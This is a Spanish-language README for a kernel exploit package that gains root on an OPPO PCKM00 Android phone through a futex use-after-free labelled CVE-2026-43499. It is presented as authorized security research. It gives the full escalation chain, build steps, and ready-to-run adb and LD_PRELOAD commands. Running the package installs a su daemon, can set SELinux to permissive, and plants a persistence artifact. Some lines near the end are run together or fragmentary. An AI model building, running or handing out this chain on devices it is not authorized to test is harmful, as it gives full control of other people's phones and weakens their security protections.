
CVE-2026-43499 GhostLock futex UAF LPE PoC para OPPO PCKM00 (SM6150) / Linux 4.14.180
CVE-2026-43499 (GhostLock) — Escalada de privilegios local por use-after-free en la herencia de prioridad del futex del kernel de Linux, PoC adaptado al OPPO PCKM00 (OP4A57, SM6150, Android 11, kernel 4.14.180-perf+).
AVISO / 免责声明 Este proyecto es solo para investigación de seguridad autorizada y fines educativos. No lo utilice en ningún dispositivo que no sea de su propiedad o para el que no tenga autorización explícita de prueba. La ejecución del exploit puede provocar un cuelgue del kernel. El autor no asume ninguna responsabilidad por uso indebido o daños.
本项目仅用于授权的安全研究与教育目的。请勿在非本人所有或未获明确授权的设备上使用。运行利用可能导致内核崩溃,作者不承担任何滥用或损失的责任。
CVE-2026-43499 (GhostLock) es un use-after-free en el código de herencia de prioridad del futex del kernel de Linux. El fallo reside en el uso indebido de remove_waiter() en la ruta de reversión del bloqueo proxy de rt_mutex_start_proxy_lock(). El rt_mutex_waiter liberado (asignado en la pila del kernel) se reinterpreta como un fd_set controlado por el atacante copiado por pselect(), lo que produce una primitiva de escritura arbitraria.
Rango afectado: Linux 4.x–6.x (introducido en 2011). La serie 4.14 está totalmente afectada. Consulte report.md para el análisis completo y los desplazamientos de símbolos verificados.
futex requeue-pi UAF
└─> copia de fd_set en pila por pselect (rt_mutex_waiter falso / task falso)
└─> escritura arbitraria (operaciones del árbol rt_mutex / sched_setattr)
└─> sobrescritura de ashmem_fops -> lectura/escritura bin de configfs
└─> reescritura de página de pipe_buffer (primitiva RW física)
└─> parcheo de cred de la tarea actual -> root
El PoC se ejecuta íntegramente en espacio de usuario mediante LD_PRELOAD — no requiere reinicio del dispositivo (salvo pánico del kernel).
Adaptación a otros dispositivos 4.14: copie
exploit/targets/oppo-pckm00/target.hy regenere los desplazamientos de símbolos desde su imagen de kernel (consulteanalysis/).
.
├── report.md # Análisis completo de la vulnerabilidad y desplazamientos verificados
├── exploit/
│ ├── Makefile # Compila preload.so (Windows NDK / WSL)
│ ├── src/
│ │ ├── preload.c # Entrada LD_PRELOAD + registro forzado en disco + su
│ │ ├── main.c # Orquestación (hilos waiter/owner/consumer)
│ │ ├── slide.c # Fuga de KASLR (loggers boot_id / nfulnl)
│ │ ├── fops.c # Sobrescritura de ashmem_fops + primitiva configfs
│ │ ├── pipe.c # Primitiva physrw de pipe_buffer
│ │ ├── root.c # Recorrido de tareas + parcheo de cred + seccomp/selinux
│ │ ├── util.c # kernelsnitch, preparación de página skb, RW del kernel
│ │ ├── su_daemon.c # Servidor su integrado (sustituto directo)
│ │ ├── su_blob.S # .incbin de su_daemon
│ │ └── wallpaper_blob.S # .incbin de la carga útil del fondo de pantalla
│ ├── targets/oppo-pckm00/target.h # Desplazamientos de símbolos/estructuras 4.14.180
│ └── assets/wallpaper.webp # Carga útil del fondo de pantalla integrada
├── analysis/ # Scripts de extracción de imagen de kernel / kallsyms
└── LICENSE # Apache-2.0 (igual que el GhostLock original)
Requiere Android NDK r29 (aarch64-linux-android30-clang).
set NDK=C:\path\to\android-ndk-r29
make NDK=%NDK%
# coloque el NDK en /opt/ndk/android-ndk-r29 (cadena de herramientas linux-x86_64)
cd exploit
make wsl
# o directamente:
bash ../analysis/build_preload.sh
Salida: exploit/preload.so (objeto compartido ELF aarch64 de 64 bits).
La compilación también genera su_daemon.c como binario PIE y lo integra (junto con el fondo de pantalla) en el .so mediante los blobs .S.
# solo binario (funciona desde un asset de release o una compilación local)
adb push preload.so /data/local/tmp/preload.so
# o con la estructura del repositorio
adb push exploit/preload.so /data/local/tmp/preload.so
adb shell chmod 755 /data/local/tmp/preload.so
El .so se carga en el proceso sh mediante LD_PRELOAD; su constructor ejecuta toda la cadena del exploit e informa del resultado:
adb shell LD_PRELOAD=/data/local/tmp/preload.so id
En caso de éxito, el shell informa:
uid=0(root) gid=0(root) ...
[+] ROOT OK pid=<pid> uid=0
El proceso actual (y sus hijos) ahora es root. Se instala un demonio su en /apex/com.android.virt/bin/su (con respaldo en /data/local/tmp/su) y se aplica un fondo de pantalla integrado como artefacto de persistencia/verificación.
# desde un nuevo shell después de la ejecución
adb shell su -c 'id'
# u obtener una sesión de shell root (cliente su interactivo)
adb shell /data/local/tmp/su
# comprobar que SELinux se cambió a permisivo (si se alcanzó la ruta de selinux)
adb shell getenforce
Todos los diagnósticos pr_* también se escriben en /sdcard/Download/log_<timestamp>.txt (con respaldo en /data/local/tmp/log_<timestamp>.txt), con O_SYNC + fsync() en cada línea para que los registros sobrevivan a un pánico del kernel / reinicio:
adb pull /sdcard/Download/log_*.txt
# o si /sdcard no está montado al inicio
adb pull /data/local/tmp/log_*.txt
adb shell cat /sdcard/Download/log_*.txt
El registro muestra cada etapa (desplazamiento KASLR, sobrescritura de fops, physrw de pipe, parcheo de cred) y la línea final uid_after / ROOT OK — adjúntelo al informar de un problema.
adb shell rm -f /data/local/tmp/preload.so /data/local/tmp/log_*.txt
adb shell rm -f /data/local/tmp/su /data/local/tmp/temp_su.sock /data/local/tmp/su_daemon.log
adb reboot # si se modificó el estado de SELinux/cred o el fondo de pantalla
Nota: ejecutar el exploit puede provocar un cuelgue del kernel. Si
adbse desconecta, espere a que el dispositivo se reinicie y luego extraiga/sdcard/Download/log_*.txt— el registro forzado conO_SYNC/fsynces exactamente lo que sobrevive al pánico.
boot_id/nfulnl (slide.c) más una pasada de verificación de ashmem_fops (fops.c)..read/.write heredados (sin read_iter/write_iter),ashmem_fops no tiene show_fdinfo,generic_file_splice_read reemplaza a copy_splice_read,selinux_enforcing reside dentro de struct selinux_state,IonStack/CVE-2026-43499), Apache-2.0.
https://github.com/NebuSec/CyberMeowfiaApache-2.0 — consulte LICENSE.
| Campo | Valor |
|---|
| Dispositivo | OPPO PCKM00 / OP4A57 |
| SoC | Qualcomm SM6150 |
| Android | 11 (RKQ1.200903.002) |
| Parche de seguridad | 2022-09-05 |
| Kernel | 4.14.180-perf+ (arm64, clang 10.0.7) |
| Compilación | OPPO/PCKM00/PCKM00:11/RKQ1.200903.002/1635513065:user/release-keys |
rt_mutex_waiter / pipe_inode_info / cred de 4.14.task_struct.seccomp) son aproximados; el fallo al parchear seccomp no bloquea el root por sobrescritura de cred.